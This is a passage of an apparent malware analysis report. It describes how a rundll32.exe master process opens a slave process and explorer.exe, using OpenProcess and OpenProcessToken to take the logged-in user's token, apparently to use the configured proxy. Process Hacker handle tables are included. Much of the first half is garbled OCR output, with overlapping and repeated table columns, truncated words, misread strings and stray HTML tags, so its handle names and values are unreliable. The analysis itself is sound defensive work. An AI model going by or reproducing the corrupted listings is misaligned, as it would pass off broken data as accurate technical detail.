1388 0x1f8 dl32.exe (2836): 2096 0x200 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x218 dl32.exe (2836): 3284 0x218	ccoorr	Cassions (1) Pase Named Objects (millions_and _goods_counters	0.15
ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x284 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc inread rundll32.exe (2836): 4000 0x17c inread rundll32.exe (2836): 1388 0x178 inread rundll32.exe (2836): 2096 0x200 inread rundll32.exe (2836): 3284 0x214 inread rundll32.exe (2836): 2096 0x200 inread rundll32.exe (2836): 2096 0x200	ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x284 ssions\1\BaseNamedObjects\UrIZonesSM_Lucas 0x284 sions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc dl32.exe (2836): 4000 0x17c dl32.exe (2836): 1388 0x168 dl32.exe (2836): 2096 0x200 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x218	ection	\Sessions\1\BaseNamedObjects\windows_shell_global_counters	0x158
kection \Sessions\1\BaseNamedObjects\windows_shell_global_counters 0x158 kection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c kection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c kection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows 0x178 kection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x284 kection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x20c kread rundl32.exe (2836): 1388 0x17c kread rundl32.exe (2836): 2096 0x200 kread rundl32.exe (2836): 3284 0x216 </td <td>ssions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 usions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x284 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x24c dll32.exe (2836): 4000 0x144 dll32.exe (2836): 1388 0x168 dll32.exe (2836): 2096 0x200 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218</td> <td>ection</td> <td>Commit (892 kB)</td> <td>Oxcc</td>	ssions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 usions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x284 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x24c dll32.exe (2836): 4000 0x144 dll32.exe (2836): 1388 0x168 dll32.exe (2836): 2096 0x200 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218	ection	Commit (892 kB)	Oxcc
Commercies ADJ Oxford ection \Sessions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows 0x16c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows 0x17c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x284 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x26c hread rundl32.exe (2836): 4000 0x17c hread rundl32.exe (2836): 1388 0x178 hread rundl32.exe (2836): 2096 0x200 hread rundl32.exe (2836): 3284 0x214	Imm (get AD) Orac ssions \1 \BaseNamedObjects\windows_shell_global_counters 0x158 ssions \1 \BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ssions \1 \BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Mis 0x16c ssions \1 \BaseNamedObjects\Uri_Cousers_Lucas_AppData_Local_Microsoft_Windows_Mis 0x17c ssions \1 \BaseNamedObjects\Uri_Cousers_Lucas_AppData_Local_Microsoft_Windows_Mis 0x284 ssions \1 \BaseNamedObjects\Uri_Cousers_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc dl32.exe (2836): 4000 0x17c dl32.exe (2836): 1388 0x1f8 gl32.exe (2836): 2296 0x200 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x218 dl32.exe (2836): 3284 0x218	action	Commit (892 kB)	Over
Section Commit (892 kB) 0xcc Section \Sessions\1\BaseNamedObjects\windows_shell_global_counters 0x158 Section \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c Section \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_Te 0x16c Section \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 Section \Sessions\1\BaseNamedObjects\UrlZonesSM_Lucas 0x284 Section \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x26c Irread rundil32.exe (2836): 4000 0x144 Thread rundil32.exe (2836): 4000 0x17c Thread rundil32.exe (2836): 1388 0x168 Thread rundil32.exe (2836): 2096 0x200 Thread rundil32.exe (2836): 3284 0x214	mit (892 kB) 0xcc ssions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x16c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ssions\1\BaseNamedObjects\UrlZonesSM_Lucas 0x284 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x204 sions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x216 gl32.exe (2836): 4000 0x17c gl32.exe (2836): 1388 0x168 gl32.exe (2836): 2096 0x200 gl32.exe (2836): 3284 0x214 gl32.exe (2836): 3284 0x218 gl32.exe (2836): 1388 0x218	rocess	rundli32.exe (2832)	0x25c
trocess rundl32.exe (2832) 0x25c election Commit (892 k8) 0xcc iection \Sessions\1\BaseNamedObjects\windows_shell_global_counters 0x158 iection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c iection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_local_Microsoft_Windows_Te 0x15c iection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_local_Microsoft_Windows_Te 0x16c iection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_local_Microsoft_Windows_His 0x178 iection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x284 iection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x24c tection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x24c tection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x24c tread rundl32.exe (2836): 4000 0x17c thread rundl32.exe (2836): 1388 0x178 thread rundl32.exe (2836): 1388 0x200 thread rundl32.exe (2836): 3284 0x214	dll32.exe (2832) 0x25c mit (892.k8) 0xcc ssions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x16c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Mis 0x178 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_Mis 0x284 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x26c dll32.exe (2836): 4000 0x17c dll32.exe (2836): 1388 0x1f8 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218 dll32.exe (2836): 3284 0x218	ulan.	Sessions in pase values the issociate static and an an an and a	112/14
rundl32.exe (2832) 0x25c vection Commit (892 k8) 0xcc vection \Sessions\1\BaseNamedObjects\windows_shell_global_counters 0x158 vection \Sessions\1\BaseNamedObjects\c:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c vection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_mis 0x16c vection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 vection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_His 0x284 vection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc hread rundl32.exe (2836): 4000 0x17c hread rundl32.exe (2836): 4000 0x17c hread rundl32.exe (2836): 1388 0x178 hread rundl32.exe (2836): 2096 0x200 hread rundl32.exe (2836): 3284 0x214 hread rundl32.exe (2836): 3284 0x214	dll32.exe (2832) 0x25c mmit (892 kB) 0xcc ssions\1/BaseNamedObjects\windows_shell_global_counters 0x158 sions\1/BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ssions\1/BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x16c ssions\1/BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows 0x178 ssions\1/BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows 0x284 ssions\1/BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x204 dll32.exe (2836): 4000 0x17c dll32.exe (2836): 1388 0x178 gll32.exe (2836): 2096 0x200 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218	lutant	\Sessions\1\BaseNamedObjects\c:luserslucasIappdataIrpamingImicrosoftIwindowslietIdc	0x2d4
Lutant \Sessions\L\BaseNamedObjects\c:\Lusers\Lucas\anondata\roaminnlmicrosoft\windows\ietldc 0x2d4 trocess rundl32.exe (2832) 0x25c ection Commit (892.k8) 0xcc iection \Sessions\L\BaseNamedObjects\windows_shell_global_counters 0x158 iection \Sessions\L\BaseNamedObjects\c:_Users_Lucas_AppData_Local_Microsoft_Windows_re 0x16c iection \Sessions\L\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows 0x176 iection \Sessions\L\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows 0x178 iection \Sessions\L\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows 0x284 iection \Sessions\L\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x284 iection \Sessions\L\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x244 iection \Sessions\L\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x244 iection \Sessions\L\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x244 iection \Sessions\L\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x244 iection \Sessions\L\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Micro	ssions\l\BaseNamedChiects\c:luserslucaslanndatatroaminolmicrosoft\windowslietIdc 0x2d4 dl32.exe (2832) 0x25c nmit (892.k8) 0xcc ssions\l\BaseNamedObjects\windows_shell_global_counters 0x158 ssions\l\BaseNamedObjects\c:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ssions\l\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c ssions\l\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows 0x178 ssions\l\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x284 ssions\l\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc dl32.exe (2836): 4000 0x17c dl32.exe (2836): 1388 0x1f8 gl32.exe (2836): 2284 0x214 dl32.exe (2836): 3284 0x214 gl32.exe (2836): 3284 0x218 gl32.exe (2836): 3284 0x218	lutant	\Sessions\1\BaseNamedObjects\ZonesLockedCacheCounterMutex	0x2a4
Nutant Sessions 1 jbaseNameOD/jects /conesc.ookeOCacheCounterMutex 0x244 Vsessions 1 jbaseNameOD/jects /conesc.ookeOCacheCounterMutex 0x244 victor Vsessions 1 jbaseNameOD/jects /conesc.ookeOCacheCounterMutex 0x25c ection Commit (892 k8) 0xcc ection Vsessions 1 jbaseNameOD/jects /windows_shell_global_counters 0x158 ection Vsessions 1 jbaseNamedObjects /c: _Users _Lucas _AppData_Local_Microsoft _Windows_Te 0x15c ection Vsessions 1 jbaseNamedObjects /c: _Users _Lucas _AppData_Roaming_Microsoft_Windows_Te 0x16c ection Vsessions \1 jbaseNamedObjects /C: _Users _Lucas _AppData_Local_Microsoft_Windows_Te 0x178 ection Vsessions \1 jbaseNamedObjects /Lices _Lucas _AppData_Roaming_Microsoft_Windows_Te 0x244 ection Vsessions \1 jbaseNamedObjects /Lices _Lucas _AppData_Roaming_Microsoft_Windows_Te 0x176 ection Vsessions \1 jbaseNamedObjects /Lices _Lucas _AppData_Roaming_Microsoft_Windows_Te 0x244 ection Vsessions \1 jbaseNamedObjects /Lices _Lucas _AppData_Roaming_Microsoft_Windows_Te 0x26c hread rundl32.exe (2836): 4000 0x17c hread rundl32.exe (2836): 1388 0x178 hread rundl32.exe (2836): 1388 0x200 hread rundl32.exe (2836): 2824 0x214 hread <td>ssions i jaseNamedObjects / criusers/lucas/anndata/roamino/microsoft/windows/ietldc 0x2a4 ssions i JaseNamedObjects / criusers/lucas/anndata/roamino/microsoft/windows/ietldc 0x2d4 dll32.exe (2832) 0x25c nmit (892 k8) 0xcc ssions i JaseNamedObjects / criusers/lucas/appData_local_Microsoft_Windows/ietldc 0x158 ssions i JaseNamedObjects / criusers_lucas_AppData_local_Microsoft_Windows_Te 0x15c ssions i JaseNamedObjects / Criusers_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ssions i JaseNamedObjects / Criusers_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ssions i JaseNamedObjects / Criusers_Lucas_AppData_Local_Microsoft_Windows_His 0x244 ssions i JaseNamedObjects / Criusers_Lucas_AppData_Roaming_Microsoft_Windows_His 0x178 ssions i JaseNamedObjects / Criusers_Lucas_AppData_Roaming_Microsoft_Windows 0x244 dll32.exe (2836): 4000 0x17c dll32.exe (2836): 1388 0x1f8 gll32.exe (2836): 2096 0x200 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218 dll32.exe (2836): 3284 0x218</td> <td>lutarit</td> <td>Considered 1/Department of Department and a department of the Constant Action</td> <td>0.220</td>	ssions i jaseNamedObjects / criusers/lucas/anndata/roamino/microsoft/windows/ietldc 0x2a4 ssions i JaseNamedObjects / criusers/lucas/anndata/roamino/microsoft/windows/ietldc 0x2d4 dll32.exe (2832) 0x25c nmit (892 k8) 0xcc ssions i JaseNamedObjects / criusers/lucas/appData_local_Microsoft_Windows/ietldc 0x158 ssions i JaseNamedObjects / criusers_lucas_AppData_local_Microsoft_Windows_Te 0x15c ssions i JaseNamedObjects / Criusers_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ssions i JaseNamedObjects / Criusers_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ssions i JaseNamedObjects / Criusers_Lucas_AppData_Local_Microsoft_Windows_His 0x244 ssions i JaseNamedObjects / Criusers_Lucas_AppData_Roaming_Microsoft_Windows_His 0x178 ssions i JaseNamedObjects / Criusers_Lucas_AppData_Roaming_Microsoft_Windows 0x244 dll32.exe (2836): 4000 0x17c dll32.exe (2836): 1388 0x1f8 gll32.exe (2836): 2096 0x200 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218 dll32.exe (2836): 3284 0x218	lutarit	Considered 1/Department of Department and a department of the Constant Action	0.220
utant \Sessions\1\BaseNamedObjects\ZonesLockedCacheCounterMutex 0x2a4 utant \Sessions\1\BaseNamedObjects\c:\userslucasIanndataIroaminoImicrosoft\windowslietIdc 0x2d4 rocess rundl32.exe (2832) 0x25c action Commit (892 kB) 0xcc ection \Sessions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ection \Sessions\1\BaseNamedObjects\c:_Users_Lucas_AppData_Local_Microsoft_Windows_re 0x15c ection \Sessions\1\BaseNamedObjects\c:_Users_Lucas_AppData_Local_Microsoft_Windows_re 0x17c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_re 0x17d ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_re 0x17d ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_re 0x17d ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_re 0x2d4 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_re 0x2d4 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_re 0x2d4 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_re	ssions\1\BaseNamedObjects\ZonesLockedCacheCounterMutex 0x2a4 ssions\1\BaseNamedObjects\c:\userslucasIanndata!roamino!microsoft!windowslietIdc0x2d4 dl32.exe (2832) 0x25c nmit (892 kB) 0xcc ssions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te0x15c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_List ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_List ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_List ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_List ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_List ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_List ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_List ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_List ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_List ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_List dl32.exe (2836): 4000 0x17c dl32.exe (2836): 1388 0x168 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x218 dl32.exe (2836): 3284 0x218	utant	\Sessions\1\BaseNamedObjects\!IETId!Mutex	0x2a0
lutant \Sessions\1\BaseNamedObjects\!/IETId!Mutex 0x2a0 lutant \Sessions\1\BaseNamedObjects\ZonesLockedCacheCounterMutex 0x2a4 lutant \Sessions\1\BaseNamedObjects\zignesLockedCacheCounterMutex 0x2d4 rocess rundl32.exe (2832) 0x25c ection Commit (892.kB) 0xcc ection \Sessions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ection \Sessions\1\BaseNamedObjects\c:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ection \Sessions\1\BaseNamedObjects\c:_Users_Lucas_AppData_Local_Microsoft_Windows 0x16c ection \Sessions\1\BaseNamedObjects\c:_Users_Lucas_AppData_Local_Microsoft_Windows 0x178 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows 0x244 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows 0x16c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows 0x244 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x26c hread rundl32.exe (2836): 4000 0x17c hread rundl32.exe (2836): 1388 0x178 hread rundl32.exe (2836): 1388 0x200 hread rundl32.exe (2836): 224 0x214	ssions\1/BaseNamedObjects\/IETId!Mutex 0x2a0 ssions\1/BaseNamedObjects\ZonesLockedCacheCounterMutex 0x2a4 dl32.exe (2832) 0x25c mit (892.k8) 0xcc usions\1/BaseNamedObjects\windows_shell_global_counters 0x158 usions\1/BaseNamedObjects\c:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c usions\1/BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x16c usions\1/BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x284 usions\1/BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Miss 0x284 usions\1/BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x284 usions\1/BaseNamedObjects\C:_Users_Lucas_AppOata_Roaming_Microsoft_Windows 0x284 usions\1/BaseNamedObjects\C:_Users_Lucas_AppOata_Roaming_Microsoft_Windows 0x284 usions\1/BaseNamedObjects\2:284 usions\1/BaseNamedObjects\2:284 usions\1/BaseNamedObjects\2:284 usions\1/BaseNamedObjects\2:284 usions\1/BaseNamedObjects\2:284 usions\1/BaseNamedObjects\2:284 usions\1/BaseNamedObjects\2:284 usions\1/BaseNamedObjects\2:284 usions\1/BaseNamedObjects\2:284 usions\1/BaseNamedObjects\2:284 usions\1/BaseNamedObjects\2:284 usion	lutant	\Sessions\1\BaseNamedObjects\ZoneAttributeCacheCounterMutex	0x298
lutant \Sessions\1\BaseNamedObjects\ZoneAttributeCacheCounterMutex 0x298 lutant \Sessions\1\BaseNamedObjects\ZoneSLockedCacheCounterMutex 0x2a0 lutant \Sessions\1\BaseNamedObjects\ZoneSLockedCacheCounterMutex 0x2a4 lutant \Sessions\1\BaseNamedObjects\ZoneSLockedCacheCounterMutex 0x2d4 lutant \Sessions\1\BaseNamedObjects\ZoneSLockedCacheCounterMutex 0x2d4 lutant \Sessions\1\BaseNamedObjects\ZoneSLockedCacheCounterMutex 0x2d4 rocess rundl32.exe (2832) 0x25c ection Commit (892 kB) 0xcc ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x16c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x244 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x16c ection \Sessions\1\BaseNamedObjects\Licas 0x244 ection \Sessions\1\BaseNamedObjects\Licas_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x244 ection \Sessions\1\BaseNamedObjects\Licas 0x244 hread rundl32.exe (2836): 4000 0x17c hread rundl32.exe (2836): 1388 0x178 <td>ssions\1\BaseNamedObjects\ZoneAttributeCacheCounterMutex 0x298 ssions\1\BaseNamedObjects\ZoneActributeCacheCounterMutex 0x2a0 ssions\1\BaseNamedObjects\ZonesLockedCacheCounterMutex 0x2a4 dl32.exe (2832) 0x25c mit (892.k8) 0xcc ssions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_His 0x178 usions\1\BaseNamedObjects\Licess_Lucas_AppData_Local_Microsoft_Windows_His 0x178 usions\1\BaseNamedObjects\Licess_Lucas_AppData_Roaming_Microsoft_Windows_His 0x178 usions\1\BaseNamedObjects\Licess_Lucas_AppData_Roaming_Microsoft_Windows_His 0x178 usions\1\BaseNamedObjects\Licess_Lucas_AppData_Roaming_Microsoft_Windows_His 0x178 usions\1\BaseNamedObjects\Licess_Lucas_AppData_Roaming_Microsoft_Windows_His 0x178 usions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_His 0x178 usions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc dl32.exe (2836): 4000 0x17c dl32.exe (2836): 1388 0x168 dl32.exe (2836): 2284 0x214 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x218 dl32.exe (2836): 3284 0x218</td> <td>ype</td> <td>Name</td> <td>Handle</td>	ssions\1\BaseNamedObjects\ZoneAttributeCacheCounterMutex 0x298 ssions\1\BaseNamedObjects\ZoneActributeCacheCounterMutex 0x2a0 ssions\1\BaseNamedObjects\ZonesLockedCacheCounterMutex 0x2a4 dl32.exe (2832) 0x25c mit (892.k8) 0xcc ssions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_His 0x178 usions\1\BaseNamedObjects\Licess_Lucas_AppData_Local_Microsoft_Windows_His 0x178 usions\1\BaseNamedObjects\Licess_Lucas_AppData_Roaming_Microsoft_Windows_His 0x178 usions\1\BaseNamedObjects\Licess_Lucas_AppData_Roaming_Microsoft_Windows_His 0x178 usions\1\BaseNamedObjects\Licess_Lucas_AppData_Roaming_Microsoft_Windows_His 0x178 usions\1\BaseNamedObjects\Licess_Lucas_AppData_Roaming_Microsoft_Windows_His 0x178 usions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_His 0x178 usions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc dl32.exe (2836): 4000 0x17c dl32.exe (2836): 1388 0x168 dl32.exe (2836): 2284 0x214 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x218 dl32.exe (2836): 3284 0x218	ype	Name	Handle

Another similar situation that occurs during execution to the previous one is when the master rundll32.exe opens the explorer.exe process. This is done with the OpenProcess () api and then OpenProcessToken () in order to obtain the token from the explorer.exe process (normally the owner of this process is the authenticated user and is the one most likely to have the configured proxy):

Propiedades: ru	undll32.exe (2944)	
neral Statistic	s Performance Threads Token Modules Memory Environment Handles Job Disk ar	nd Network Con
Hide unnamed	d handles	
Туре	Name	Handle
Кеу	HKCU \Software \Microsoft \Internet Explorer \IETId	0x390
Mutant	\Sessions\1\BaseNamedObjects_!MSFTHISTORY!_	0x14c
Mutant	\Sessions\1\BaseNamedObjects\c:!users!lucas!appdata!local!microsoft!windows!temporar	0x150
Mutant	\Sessions\1\BaseNamedObjects\c:!users!lucas!appdata!roaming!microsoft!windows!cookies!	0x164
Mutant	\Sessions\1\BaseNamedObjects\c:!users!lucas!appdata!local!microsoft!windows!history!h	0x170
Mutant	\Sessions\1\BaseNamedObjects\WininetStartupMutex	0x184
Mutant	\Sessions\1\BaseNamedObjects\WininetConnectionMutex	0x1a0
Mutant	\Sessions\1\BaseNamedObjects\WininetProxyRegistryMutex	0x1a4
Mutant	\Sessions \1\BaseNamedObjects \RasPbFile	0x1bc
Mutant	\Sessions\1\BaseNamedObjects\ZonesCounterMutex	0x268
Mutant	\Sessions\1\BaseNamedObjects\ZoneAttributeCacheCounterMutex	0x28c
Mutant	\Sessions\1\BaseNamedObjects\ZonesCacheCounterMutex	0x294
Mutant	\Sessions\1\BaseNamedObjects\ZoneAttributeCacheCounterMutex	0x298
Mutant	\Sessions\1\BaseNamedObjects\ZonesLockedCacheCounterMutex	0x2a4
Mutant	\Sessions\1\BaseNamedObjects\!IETld!Mutex	0x2b8
Mutant	\Sessions\1\BaseNamedObjects\c:!users!lucas!appdata!roaming!microsoft!windows!ietldc	0x3b8
Process	explorer.exe (2148)	0x3d4

The following is a description of the entire sequence of actions carried out for the rundll32 master process to send information to the rundll32 slave after having seen some peculiarities previously. The following image shows the master process rundll32.exe that just opened the slave process with the OpenProcess and will open a temporary file with wfopen:

Debug Vew		Structures	C III Dune		0
EA View-EP	1	Breakpoints			👼 General registers
